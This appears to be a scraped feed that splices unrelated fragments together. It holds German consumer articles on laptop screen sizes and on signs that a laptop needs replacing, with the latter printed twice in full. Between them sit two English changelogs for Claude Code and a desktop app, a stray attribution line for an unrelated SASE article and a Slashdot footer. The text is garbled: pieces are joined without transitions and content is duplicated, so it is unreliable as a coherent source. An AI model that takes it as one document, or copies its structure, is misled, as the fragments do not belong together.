Vielleicht haben Sie diesen Artikel gelesen und sich gedacht: Wen interessiert das schon? Eine halbe Sekunde macht im Alltag keinen Unterschied. Daher rate ich Ihnen: Ziehen Sie es in Betracht, Ihren alten Rechner zu behalten. Andere Nutzer sehen das vielleicht anders und konzentrieren sich auf all die Vorteile, die ein neuerer Laptop mit sich bringt.

Die IT-Branche möchte Ihnen aus verschiedenen Gründen neue Produkte verkaufen. Wenn Sie aber die Möglichkeit haben, einen alten und einen neuen Laptop zu vergleichen, dann sehen Sie schnell, ob sich eine Neuanschaffung lohnt. Genau darum ging es mir in diesem Artikel: Ich wollte Ihnen all die Informationen geben, die Sie benötigen, um eine klügere Entscheidung darüber zu treffen, ob Sie einen neuen Laptop kaufen sollten.

Wenn sich jedoch herausstellt, dass ihr aktueller Laptop an seine Grenzen stößt, dann finden Sie in unseren Bestenlisten die lohnenswertesten Modelle für jeden Geldbeutel. Suchen Sie nach einem Laptop für Schüler oder Studenten? Oder soll es lieber ein Gaming-Laptop für unter 1.200 Euro sein? Die besten Notebooks aller Klassen haben wir ebenfalls einem Vergleich unterzogen.

In jedem Fall gilt: Werfen Sie Ihren alten Laptop bloß nicht weg, sondern machen Sie stattdessen das damit!

• Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
• Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
• Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
• Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
• Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
• Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
• Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
• Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
• Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
• Fixed file uploads to Claude in Chrome from remote and CLI sessions
• Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
• Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
• Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
• Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
• Fixed /loop hiding the session from /resume after a single use
• Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
• Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
• Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
• Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
• Fixed Claude in Chrome setup pages failing to open in the browser on Windows
• Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
• Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
• Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
• Fixed routines with no schedule reporting a next run time in the year 1
• Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
• Improved terminal layout and rendering performance
• Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
• Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
• Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
• Updated documentation links to the current docs sites
• Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
• Changed /usage-credits to ask for confirmation before sending a request to organization admins
• Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
• [VSCode] Updated the Remote Control banner to describe what it does
• Claude in Chrome: hardened file-upload path validation
• Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
• Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.

Ein neuer Laptop ist eine Investition für die nächsten Jahre. Doch bevor man sich in Datenblättern zu Prozessoren, RAM und Grafikkarten verliert, steht die wichtigste und buchstäblich größte Entscheidung an: das Gehäuseformat. Schließlich bestimmt die Bildschirmdiagonale nicht nur, wie viel Arbeitsfläche Ihnen zur Verfügung steht – sie diktiert auch das Gewicht, die Akkugröße und die Kühlleistung Ihres neuen Systems.

Während vor wenigen Jahren noch der 15,6-Zöller als unangefochtener Standard galt, hat sich der Markt inzwischen gewandelt. Die Ränder um die Displays sind geschrumpft, moderne 16:10-Bildformate erobern die Schreibtische und stellen Käufer vor eine technologische Grundsatzfrage.

Die Eier legende Wollmilchsau gibt es nämlich auch hier nicht: Wer stundenlang Videos schneidet oder Excel-Tabellen wälzt, flucht über einen zu kleinen Bildschirm. Wer sein Gerät hingegen täglich in der Bahn zum Pendeln nutzt, ärgert sich schnell über jedes Gramm zu viel im Rucksack.

Damit Sie beim Kauf nicht zum falschen Formfaktor greifen, dröseln wir die Stärken und Schwächen der drei wichtigsten Laptop-Größen auf und geben eine Kaufberatung für die unterschiedlichen Nutzerprofile.

Die drei Display-Größen im Alltags-Check

Um das Maximum aus Ihrem Budget herauszuholen, sollten Sie die Charakteristiken der Formfaktoren kennen. Jede Größe hat ein optimales Einsatzgebiet.

1. 14-Zoll-Laptops: Mobile Begleiter für Pendler

Der 14-Zöller (ca. 35,5 cm Diagonale) ist das gängige Format für alle, die häufig unterwegs sind. Moderne Fertigungstechniken erlauben ein Gerätegewicht von oft kaum mehr als einem Kilogramm, zudem sind die Geräte so dünn, dass sie problemlos in jede Aktentasche oder den Uni-Rucksack passen.

Durch das kompakte Gehäuse ist der Akkuverbrauch des Displays geringer, was oft zu ausgezeichneten Laufzeiten führt. Das Manko: Die kompakte Bauweise lässt wenig Platz für wuchtige Kühlsysteme oder dedizierte Grafikkarten. Zudem erfordert längeres Multitasking mit mehreren geöffneten Fenstern auf dem kleineren Bildschirm oft gute Augen oder cleveres Fenster-Management.

Für wen eignen sich 14-Zoll-Laptops?

Das Format ist besonders geeignet für Pendler, Studenten, Geschäftsreisende und alle, die ihren Laptop täglich transportieren. Wer primär textbasiert arbeitet, surft, streamt oder an Videocalls teilnimmt, wird die Leichtigkeit dieser Geräteklasse lieben.

Produktempfehlung: ASUS Zenbook 14 OLED

Asus

Preis: 1.149 Euro

Technik-Specs:

• Bilddiagonale & Format: 14 Zoll (35,6 cm), Seitenverhältnis 16:10, NanoEdge-Design (schmale Ränder)
• Auflösung & Panel-Typ: 2,8 K (2.880 × 1.800 Pixel), Lumina-OLED-Panel
• Farbraum & Helligkeit: 100 % DCI-P3-Abdeckung, maximale Spitzenhelligkeit 550 Nits
• Bildwiederholrate & Reaktionszeit: 120 Hz, 0,2 ms (Herstellerangabe)
• Gewicht & Maße: 1,2 kg, 14,9 mm Bauhöhe
• Prozessor & Grafik: AMD Ryzen AI 7 350 (inklusive dedizierter NPU für KI-Berechnungen), integrierte AMD Radeon Grafikeinheit
• Speicher: 16 GB LPDDR5X RAM, 1 TB PCIe Gen4 x4 SSD
• Akkukapazität: 75 Wh (laut Hersteller ausgelegt auf hohe Langlebigkeit mit 70 % Restkapazität nach 1200 Ladezyklen)
• Audio & Extras: Soundsystem von Harman Kardon mit Dolby Atmos und KI-Geräuschunterdrückung, beleuchtete Tastatur (QWERTZ-Layout)
• Betriebssystem: Windows 11 Home (Copilot+ PC zertifiziert)

Das Asus Zenbook 14 OLED demonstriert anschaulich, warum 14-Zöller aktuell so beliebt sind. Trotz des geringen Gewichts von nur 1,2 Kilogramm bietet das Notebook mit seinem AMD Ryzen AI 7 350 Prozessor und 16 GB Arbeitsspeicher genügend Leistungsreserven für Office-Anwendungen, Multitasking und leichte Bildbearbeitung. Das hochauflösende 2,8K-OLED-Display mit 120 Hz sorgt dabei für eine scharfe Darstellung, kräftige Farben und flüssige Bildabläufe.

Ein praktisches Detail für den mobilen Alltag ist dabei auch das kompakte Gehäuse mit nur 14,9 Millimetern Bauhöhe. Gleichzeitig verbaut Asus einen großzügigen 75-Wh-Akku, der laut Hersteller Laufzeiten von bis zu 18 Stunden ermöglichen soll. Die Ausstattung wird speziell für Videokonferenzen und Multimedia-Anwendungen durch Dolby-Atmos-Lautsprecher von Harman Kardon sowie eine integrierte KI-Geräuschunterdrückung abgerundet.

2. 15-Zoll-Laptops: Preisbewusste Allrounder

Das 15-Zoll-Segment gilt bis heute als der klassische Mittelweg zwischen Mobilität und Arbeitsfläche. Je nach Hersteller kommen im 15-Zoll-Bereich sowohl klassische 16:9- als auch moderne 16:10-Displays zum Einsatz.

Das 16:9-Format eignet sich besonders gut für den Medienkonsum, etwa für Filme und Serien, ohne störende schwarze Balken. Das 16:10-Format bietet dagegen mehr vertikale Bildschirmfläche – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten.

Weil die Gehäuse oft auf bewährten, kostengünstigen Chassis-Designs der Hersteller basieren, bekommt man in dieser Klasse in der Regel das meiste Datenblatt für sein Geld. Zudem bieten 15-Zöller fast immer einen vollwertigen, physischen Nummernblock auf der rechten Seite der Tastatur.

Für wen eignen sich 15-Zoll-Laptops?

Der klassische 15-Zöller richtet sich an preisbewusste Käufer, Homeoffice-Nutzer, die keinen externen Monitor besitzen, und Nutzer, die ihr Notebook meistens in der Wohnung einsetzen oder das Gerät nur gelegentlich mit auf Reisen nehmen.

Produktempfehlung: Lenovo IdeaPad Slim 3 (15″)

Lenovo

Preis: ca. 682 Euro

Technik-Specs:

• Bilddiagonale & Format: 15,6 Zoll (39,6 cm), Seitenverhältnis 16:10
• Auflösung & Panel-Typ: WUXGA (1920 × 1200 Pixel), LC-Display
• Gewicht & Maße: ca. 1,6 kg, 17,9 mm Bauhöhe
• Prozessor & Grafik: Intel Core i5-13420H, Intel UHD Grafik
• Speicher: 16 GB DDR5-RAM, 512 GB SSD
• Akkukapazität: 42 Wh
• Tastatur: QWERTZ-Layout mit integriertem Nummernblock
• Software & Extras: Smart Connect, 3 Monate Lenovo Premium Care, 24 Monate Herstellergarantie
• Anschlüsse & Konnektivität: 2 USB-Anschlüsse, HDMI, WLAN, Bluetooth
• Betriebssystem: Windows 11 Home

Das Lenovo IdeaPad Slim 3 (Modell: 15IRH10) richtet sich an Nutzer, die ein solides Notebook für Alltag, Studium und Homeoffice suchen. Mit seinem 15,6 Zoll großen WUXGA-Display im modernen 16:10-Format bietet es etwas mehr vertikale Arbeitsfläche als klassische 16:9-Modelle – ein Vorteil beim Arbeiten mit Dokumenten, Tabellen oder längeren Webseiten. Trotz der großzügigen Bildschirmfläche bleibt das Gerät mit rund 1,6 Kilogramm angenehm mobil.

Für die Rechenleistung sorgt ein Intel Core i5-13420H Prozessor, der zusammen mit 16 GB DDR5-Arbeitsspeicher genügend Reserven für Office-Anwendungen, Multitasking und alltägliche Multimedia-Aufgaben bietet. Anspruchsvolle Spiele oder grafikintensive Anwendungen sind hingegen nicht die Stärke dieses Modells, da ausschließlich die integrierte Intel-UHD-Grafik zum Einsatz kommt.

Praktisch im Alltag ist die Smart-Connect-Funktion von Lenovo, mit der sich kompatible Smartphones, Tablets und PCs einfacher miteinander verbinden und Daten austauschen lassen. Damit positioniert sich das IdeaPad Slim 3 klar als klassischer Allrounder für produktives Arbeiten zu Hause, im Büro oder im Studium.

3. 16-Zoll-Laptops: Mobile Kraftpakete

Der 16-Zöller (ca. 40,6 cm Diagonale) ist der moderne Nachfolger der alten, klobigen 15,6- und 17-Zoll-Workstations. Dank besonders schmaler Displayränder passen 16-Zoll-Bildschirme heute in Gehäuse, die früher für 15 Zoll reserviert waren. Fast alle Geräte in dieser Klasse setzen auf das höhere 16:10-Format, was beim Arbeiten spürbar mehr vertikale Bildschirmfläche (z. B. für Code-Zeilen oder Webseiten) bietet.

Der entscheidende Vorteil dieser Größe: Das große Gehäuse bietet reichlich Platz für leistungsstarke Kühlsysteme und große Akkus (bis zum gesetzlichen Flugzeug-Limit von 99 Wattstunden). Hier finden leistungsstarke Prozessoren und dedizierte Grafikkarten deutlich bessere Kühlbedingungen als in kompakteren Gehäusen.

Für wen eignet sich die 16-Zoll-Größe?

Für Power-User, Content Creator (Foto/Video), ambitionierte Gamer und Nutzer, die den Laptop als vollwertigen Desktop-Ersatz (Desktop Replacement) nutzen möchten.

HP Omen MAX Gaming Laptop (16″)

HP

Preis: 2.199 Euro

Technik-Specs:

• Bilddiagonale & Format: 16 Zoll (40,6 cm), Seitenverhältnis 16:10
• Auflösung & Panel-Typ: WQXGA (2560 × 1600 Pixel), IPS-Display
• Bildwiederholrate: 240 Hz
• Gewicht & Maße: ca. 2,71 kg, 2,5 cm Bauhöhe
• Prozessor & Grafik: AMD Ryzen AI 7 350 (bis zu 5,0 GHz)
• Grafik: integrierte AMD Radeon 860M Grafik und NVIDIA GeForce RTX 5070 Ti (12 GB VRAM)
• Speicher: 32 GB RAM, 1 TB SSD
• Akkukapazität: 83 Wh
• Tastatur: QWERTZ-Layout mit Hintergrundbeleuchtung und Nummernblock
• Anschlüsse & Konnektivität: USB, HDMI, Ethernet, WLAN 7, Bluetooth 5.4
• Betriebssystem: Windows 11 Home

Der HP Omen MAX Gaming Laptop positioniert sich als leistungsstarkes 16-Zoll-Notebook für anspruchsvolles Gaming und Content Creation. Das WQXGA-Display (2560 × 1600 Pixel) mit 240 Hz Bildwiederholrate verspricht besonders flüssige Bewegungsdarstellung mit hoher Schärfe, während die IPS-Technologie für stabile Farbdarstellung sorgt.

Im Inneren arbeitet ein AMD Ryzen AI 7 350 Prozessor in Kombination mit einer NVIDIA GeForce RTX 5070 Ti mit 12 GB VRAM. Die Kombination liefert ausreichend Leistung für aktuelle AAA-Spiele, kreative Anwendungen und Multitasking auf hohem Niveau. Ergänzt wird die Ausstattung durch 32 GB Arbeitsspeicher sowie eine 1-TB-SSD für schnelle Ladezeiten und ordentlich Speicherplatz.

Mit einem 83-Wh-Akku und einem Gewicht von rund 2,7 Kilogramm ist das Gerät klar auf Leistung statt maximale Mobilität ausgelegt. Gleichzeitig bietet es eine umfangreiche Anschlussausstattung inklusive Ethernet, HDMI, USB und moderner WLAN-7-Konnektivität. Damit richtet sich dieser Laptop an Nutzer, die ein leistungsstarkes Gaming-Notebook mit Desktop-Anspruch suchen – und den Kaufpreis nicht scheuen.

Welche Notebook-Größe passt zu mir?

Die perfekte Notebook-Größe ist immer ein Kompromiss: Mehr Bildschirm bedeutet automatisch mehr Gewicht und weniger Mobilität. Die folgende Matrix hilft Ihnen dabei, Ihre eigenen Prioritäten zu gewichten und den optimalen Kompromiss für Ihren Alltag zu finden.

Software-Tipps für Ihren Laptop-Alltag

Egal, ob Sie sich für das kompakte 14-Zoll-Modell oder den 16-Zoll-Boliden entscheiden – mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem mobilen Arbeitsplatz heraus:

• Microsoft PowerToys (FancyZones): Gerade auf den kleineren 14-Zoll-Displays ist das Standard-Fensterlayout von Windows oft fummelig. Mit dem Modul FancyZones unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein absolutes Must-Have für Multitasking auf kleinen Displays.
• SpaceDesk: Sie sind im Hotel und der 14-Zöller reicht nicht für die Excel-Tabelle aus? SpaceDesk ist eine geniale kostenlose Software, mit der Sie Ihr iPad oder Android-Tablet kabellos über WLAN als vollwertigen, zweiten Windows-Monitor nutzen können. Perfekt für das mobile Büro.
• Everything: Laptops werden oft beruflich wie privat vollgepackt mit Dateien. Statt der langsamen Windows-Standard-Suche baut Everything einen superschnellen Index Ihrer Festplatte auf. Dateien, Fotos oder Dokumente werden in Echtzeit gefunden – buchstäblich schon während Sie den Dateinamen tippen.

Fazit: Welcher Laptop-Typ sind Sie?

Das perfekte Notebook richtet sich nicht nach dem Geldbeutel, sondern nach dem Einsatzzweck. Wer primär pendelt, in verschiedenen Meetingräumen sitzt oder das Gerät täglich in die Vorlesung schleppt, wird mit einem 14-Zoll-Laptop am glücklichsten.

Die gesparten Kilos auf dem Rücken rechtfertigen den kleineren Bildschirm allemal. Wer einen soliden Rechner für das Homeoffice sucht, nur selten verreist und beim Kauf auf das Budget achten muss, macht mit dem klassischen 15-Zöller nichts falsch.

Wenn für Sie das Notebook jedoch den klobigen Desktop-PC unter dem Schreibtisch komplett ersetzen soll, Sie professionell Videos schneiden oder aktuelle AAA-Spiele flüssig spielen wollen, führt kein Weg am 16-Zoll-Kraftpaket vorbei. Die massive Arbeitsfläche und das hervorragende Kühlpotenzial gleichen das stattliche Transportgewicht in diesem Fall problemlos auf.

Dieser Beitrag SASE verliert die Sicht auf KI: Warum Inspektion am Paket nicht mehr reicht erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Irgendwann kommt der Moment, an dem der alte Laptop mehr Frust als Freude macht. Akkus geben den Geist auf, Software läuft nur noch im Schneckentempo oder Windows verweigert wichtige Updates. Statt den betagten Begleiter mühsam am Leben zu halten, ist ein neues Gerät dann oft die bessere Wahl.

Doch wann ist wirklich der Punkt erreicht, an dem sich ein Neukauf lohnt? Diese sechs klaren Warnsignale verraten es Ihnen. Wenn Sie sich bereits für einen Neukauf entschieden haben, finden Sie hier die besten Notebooks aller Klassen im Vergleich.

Anzeichen 1: Keine Updates mehr verfügbar

Ein Laptop ohne Updates ist ein Sicherheitsrisiko. Wenn Windows oder andere wichtige Programme keine Aktualisierungen mehr erhalten, ist das Ende der Fahnenstange erreicht. Besonders kritisch wird es, wenn das Betriebssystem selbst keine Sicherheits-Patches mehr bekommt – wie Windows 10 ab Oktober 2027.

PROMOTION

Dieser 16-Zoll-Laptop hält den ganzen Tag durch – und denkt dabei mit

Das HP OmniBook 3 überzeugt als verlässlicher Allrounder für Büro und Alltag: Der Intel® Core™ Ultra 5 Prozessor mit KI-Boost-NPU sorgt für flüssige Performance, 16 GB RAM und 1 TB SSD bieten reichlich Platz und Tempo. Das entspiegelte 16-Zoll-2K-Display liefert scharfe Bilder ohne Blendeffekte, recyceltes Aluminium sorgt für Nachhaltigkeit. Aktuell erhalten Sie zusätzlich bis zu 200 € Cashback.

Erfahren Sie mehr über das HP OmniBook 3

Ohne Updates entstehen gefährliche Sicherheitslücken, und viele neue Programme laufen nur unter aktuellen Windows-Versionen optimal. Ein veralteter Laptop wird so schnell zum digitalen Inselbewohner.

Tipp: Prüfen Sie regelmäßig die Update-Einstellungen. Meldet Ihr System „alles aktuell“, obwohl längst eine neuere Windows-Version existiert, ist das ein deutlicher Hinweis, dass Sie über einen neuen Laptop nachdenken sollten.

Anzeichen 2: Speicherplatz ist ständig voll

Wenn Windows permanent meckert, dass der Speicherplatz knapp wird, dann ist das nicht nur nervig: Neue Programme lassen sich jetzt nicht mehr installieren, selbst einfache Updates schlagen fehl. Natürlich können Sie Daten in die Cloud verschieben oder externen Speicherplatz nutzen – auf Dauer ist das aber nur ein mühsamer Notbehelf.

Tipp: Schauen Sie im Explorer nach, wie viel Platz auf dem System-Datenträger noch frei ist. Ist der dauerhaft voll und kann nicht ausgetauscht oder mit einer zusätzlichen SSD erweitert werden, führt langfristig kaum ein Weg am neuen Laptop vorbei.

Anzeichen 3: Laptop kommt nicht mehr in die Gänge

Ihr Laptop benötigt gefühlt eine Ewigkeit zum Hochfahren, Programme öffnen sich mit quälender Verzögerung und schon ein paar parallele Browser-Tabs bringen das System ins Schwitzen? Das ist ein klares Zeichen, dass die Hardware in die Jahre gekommen ist.

Mehr RAM oder eine SSD können da manchmal helfen. Wenn aber auch das keine Besserung bringt, dann ist der Laptop schlicht zu alt für aktuelle Anforderungen.

Tipp: Achten Sie darauf, wie oft Sie beim Arbeiten auf Ihr Gerät warten müssen. Wenn selbst Alltagsaufgaben nur noch schleppend laufen, ist die Zeit für ein Upgrade definitiv gekommen.

Anzeichen 4: Ständige Überhitzung und laute Lüfter

Wenn die Kühlung des Laptops nicht mehr hinterherkommt, wird es problematisch. Läuft der Lüfter schon bei alltäglichen Aufgaben lautstark auf Hochtouren oder wird das Gehäuse unter Last sehr heiß, ist das ein Warnsignal. Dauerhafte Hitze schadet nicht nur den Bauteilen, sondern kann auch zu plötzlichen Abstürzen führen.

Tipp: Reinigen Sie Lüftungsschlitze regelmäßig und prüfen Sie mit Tools wie HWMonitor die Temperaturen. Wenn Ihr Laptop trotzdem ständig überhitzt, lohnt sich wahrscheinlich eher ein Neukauf als teure Reparaturen.

Anzeichen 5: Keine Möglichkeiten zum Aufrüsten mehr?

Bei Desktop-PCs kann man oft noch einzelne Teile austauschen, beim Laptop ist das deutlich schwieriger. Viele Modelle erlauben weder den Wechsel der SSD noch den Tausch des RAMs. Wenn also nichts mehr erweiterbar ist und das Gerät technisch am Limit läuft, hilft nur der Wechsel auf ein moderneres Modell.

Tipp: Prüfen Sie die Aufrüstbarkeit Ihres Laptops. Wenn weder Speicher noch Arbeitsspeicher erweiterbar sind, lohnt sich eine Investition in ein neues Gerät mehr, als krampfhaft am überforderten Rechner festzuhalten.

Anzeichen 6: Laptop-Akku wird schnell leer

Klar: Ein Laptop lebt von seiner Mobilität. Wenn der Akku nach wenigen Minuten schon wieder nach einer Steckdose ruft oder wenn das Gerät ohnehin nur noch am Netzteil hängt, geht der wichtigste Vorteil verloren. Zwar lässt sich bei manchen Modellen der Akku tauschen – aber längst nicht bei allen. Und selbst wenn: Ist der Rest der Hardware ebenfalls veraltet, rechnet sich der Austausch einzelner Komponenten kaum.

Tipp: Wenn Ihr Laptop ohne Netzteil nicht mehr zuverlässig läuft, ist das ein starkes Zeichen dafür, dass ein neues Modell fällig ist. So können Sie den Akkuzustand Ihres Laptops mit Windows-Bordmitteln prüfen.

Kauftipp: Drei passende Laptops für jeden Zweck

Wenn Sie feststellen, dass Ihr alter Laptop wirklich ausgedient hat, lohnt sich ein Blick auf aktuelle Modelle. Wir haben drei Geräte herausgesucht, die mit starkem Preis-Leistungs-Verhältnis überzeugen: vom günstigen Einsteigergerät bis hin zum leistungsstarken Gaming-Powerhouse. Übrigens: Weitere Top-Modelle finden Sie in unseren Laptop-Bestenlisten.

Fazit: Lieber rechtzeitig wechseln

Ein Laptop, der keine Updates mehr erhält, ständig voll, langsam, laut oder heiß ist, lässt sich kaum noch sinnvoll retten. Spätestens wenn der Akku endgültig schlappmacht oder wenn keine Hardware-Upgrades beim Arbeitsspeicher oder der SSD mehr möglich sind, wird es Zeit für einen Umstieg. Die Investition in ein aktuelles Gerät spart nicht nur Nerven, sondern sorgt auch für mehr Sicherheit und Komfort im Alltag. Wer jetzt einen neuen Laptop kauft, hat auch den Vorteil, dass aktuelle Geräte energieeffizienter, leiser und deutlich leistungsfähiger geworden sind.

Übrigens: Manchmal haben Sie mehr vom Wechsel als vom Upgrade. In diesem Beitrag klären wir, wann sich ein Tablet mehr lohnt, als ein neuer Windows-11-Laptop.

Irgendwann kommt der Moment, an dem der alte Laptop mehr Frust als Freude macht. Akkus geben den Geist auf, Software läuft nur noch im Schneckentempo oder Windows verweigert wichtige Updates. Statt den betagten Begleiter mühsam am Leben zu halten, ist ein neues Gerät dann oft die bessere Wahl.

Doch wann ist wirklich der Punkt erreicht, an dem sich ein Neukauf lohnt? Diese sechs klaren Warnsignale verraten es Ihnen. Wenn Sie sich bereits für einen Neukauf entschieden haben, finden Sie hier die besten Notebooks aller Klassen im Vergleich.

Anzeichen 1: Keine Updates mehr verfügbar

Ein Laptop ohne Updates ist ein Sicherheitsrisiko. Wenn Windows oder andere wichtige Programme keine Aktualisierungen mehr erhalten, ist das Ende der Fahnenstange erreicht. Besonders kritisch wird es, wenn das Betriebssystem selbst keine Sicherheits-Patches mehr bekommt – wie Windows 10 ab Oktober 2027.

PROMOTION

Dieser 16-Zoll-Laptop hält den ganzen Tag durch – und denkt dabei mit

Das HP OmniBook 3 überzeugt als verlässlicher Allrounder für Büro und Alltag: Der Intel® Core™ Ultra 5 Prozessor mit KI-Boost-NPU sorgt für flüssige Performance, 16 GB RAM und 1 TB SSD bieten reichlich Platz und Tempo. Das entspiegelte 16-Zoll-2K-Display liefert scharfe Bilder ohne Blendeffekte, recyceltes Aluminium sorgt für Nachhaltigkeit. Aktuell erhalten Sie zusätzlich bis zu 200 € Cashback.

Erfahren Sie mehr über das HP OmniBook 3

Ohne Updates entstehen gefährliche Sicherheitslücken, und viele neue Programme laufen nur unter aktuellen Windows-Versionen optimal. Ein veralteter Laptop wird so schnell zum digitalen Inselbewohner.

Tipp: Prüfen Sie regelmäßig die Update-Einstellungen. Meldet Ihr System „alles aktuell“, obwohl längst eine neuere Windows-Version existiert, ist das ein deutlicher Hinweis, dass Sie über einen neuen Laptop nachdenken sollten.

Anzeichen 2: Speicherplatz ist ständig voll

Wenn Windows permanent meckert, dass der Speicherplatz knapp wird, dann ist das nicht nur nervig: Neue Programme lassen sich jetzt nicht mehr installieren, selbst einfache Updates schlagen fehl. Natürlich können Sie Daten in die Cloud verschieben oder externen Speicherplatz nutzen – auf Dauer ist das aber nur ein mühsamer Notbehelf.

Tipp: Schauen Sie im Explorer nach, wie viel Platz auf dem System-Datenträger noch frei ist. Ist der dauerhaft voll und kann nicht ausgetauscht oder mit einer zusätzlichen SSD erweitert werden, führt langfristig kaum ein Weg am neuen Laptop vorbei.

Anzeichen 3: Laptop kommt nicht mehr in die Gänge

Ihr Laptop benötigt gefühlt eine Ewigkeit zum Hochfahren, Programme öffnen sich mit quälender Verzögerung und schon ein paar parallele Browser-Tabs bringen das System ins Schwitzen? Das ist ein klares Zeichen, dass die Hardware in die Jahre gekommen ist.

Mehr RAM oder eine SSD können da manchmal helfen. Wenn aber auch das keine Besserung bringt, dann ist der Laptop schlicht zu alt für aktuelle Anforderungen.

Tipp: Achten Sie darauf, wie oft Sie beim Arbeiten auf Ihr Gerät warten müssen. Wenn selbst Alltagsaufgaben nur noch schleppend laufen, ist die Zeit für ein Upgrade definitiv gekommen.

Anzeichen 4: Ständige Überhitzung und laute Lüfter

Wenn die Kühlung des Laptops nicht mehr hinterherkommt, wird es problematisch. Läuft der Lüfter schon bei alltäglichen Aufgaben lautstark auf Hochtouren oder wird das Gehäuse unter Last sehr heiß, ist das ein Warnsignal. Dauerhafte Hitze schadet nicht nur den Bauteilen, sondern kann auch zu plötzlichen Abstürzen führen.

Tipp: Reinigen Sie Lüftungsschlitze regelmäßig und prüfen Sie mit Tools wie HWMonitor die Temperaturen. Wenn Ihr Laptop trotzdem ständig überhitzt, lohnt sich wahrscheinlich eher ein Neukauf als teure Reparaturen.

Anzeichen 5: Keine Möglichkeiten zum Aufrüsten mehr?

Bei Desktop-PCs kann man oft noch einzelne Teile austauschen, beim Laptop ist das deutlich schwieriger. Viele Modelle erlauben weder den Wechsel der SSD noch den Tausch des RAMs. Wenn also nichts mehr erweiterbar ist und das Gerät technisch am Limit läuft, hilft nur der Wechsel auf ein moderneres Modell.

Tipp: Prüfen Sie die Aufrüstbarkeit Ihres Laptops. Wenn weder Speicher noch Arbeitsspeicher erweiterbar sind, lohnt sich eine Investition in ein neues Gerät mehr, als krampfhaft am überforderten Rechner festzuhalten.

Anzeichen 6: Laptop-Akku wird schnell leer

Klar: Ein Laptop lebt von seiner Mobilität. Wenn der Akku nach wenigen Minuten schon wieder nach einer Steckdose ruft oder wenn das Gerät ohnehin nur noch am Netzteil hängt, geht der wichtigste Vorteil verloren. Zwar lässt sich bei manchen Modellen der Akku tauschen – aber längst nicht bei allen. Und selbst wenn: Ist der Rest der Hardware ebenfalls veraltet, rechnet sich der Austausch einzelner Komponenten kaum.

Tipp: Wenn Ihr Laptop ohne Netzteil nicht mehr zuverlässig läuft, ist das ein starkes Zeichen dafür, dass ein neues Modell fällig ist. So können Sie den Akkuzustand Ihres Laptops mit Windows-Bordmitteln prüfen.

Kauftipp: Drei passende Laptops für jeden Zweck

Wenn Sie feststellen, dass Ihr alter Laptop wirklich ausgedient hat, lohnt sich ein Blick auf aktuelle Modelle. Wir haben drei Geräte herausgesucht, die mit starkem Preis-Leistungs-Verhältnis überzeugen: vom günstigen Einsteigergerät bis hin zum leistungsstarken Gaming-Powerhouse. Übrigens: Weitere Top-Modelle finden Sie in unseren Laptop-Bestenlisten.

Fazit: Lieber rechtzeitig wechseln

Ein Laptop, der keine Updates mehr erhält, ständig voll, langsam, laut oder heiß ist, lässt sich kaum noch sinnvoll retten. Spätestens wenn der Akku endgültig schlappmacht oder wenn keine Hardware-Upgrades beim Arbeitsspeicher oder der SSD mehr möglich sind, wird es Zeit für einen Umstieg. Die Investition in ein aktuelles Gerät spart nicht nur Nerven, sondern sorgt auch für mehr Sicherheit und Komfort im Alltag. Wer jetzt einen neuen Laptop kauft, hat auch den Vorteil, dass aktuelle Geräte energieeffizienter, leiser und deutlich leistungsfähiger geworden sind.

Übrigens: Manchmal haben Sie mehr vom Wechsel als vom Upgrade. In diesem Beitrag klären wir, wann sich ein Tablet mehr lohnt, als ein neuer Windows-11-Laptop.

Read more of this story at Slashdot.

Improvements

• Completed the Desktop v2 migration, including upgrade handling for the new layout and first-launch onboarding.
• Added a setting to switch between the new and old Desktop layouts during the transition period.

Bugfixes

• Fixed file views using the wrong background in the v2 layout.
• Fixed connected project picker positioning when its anchor is still loading.
• Kept permission auto-accept state separate for each server.
• Fixed a project picker positioning crash.
• Kept terminal tab rename focused while editing.
• Enabled remote sessions to auto-accept permissions correctly.
• Fixed terminal tabs stealing focus when they mount.
• Loaded more timeline history at once to reduce repeated backfill while scrolling.
• Resynced the timeline correctly after reconnecting.
• Preserved the composer caret after request updates.
